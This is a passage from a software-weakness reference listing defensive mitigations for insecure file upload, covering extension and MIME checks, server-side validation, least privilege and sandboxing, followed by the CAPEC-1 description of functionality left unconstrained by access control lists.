Mitigation
When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
Mitigation
Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.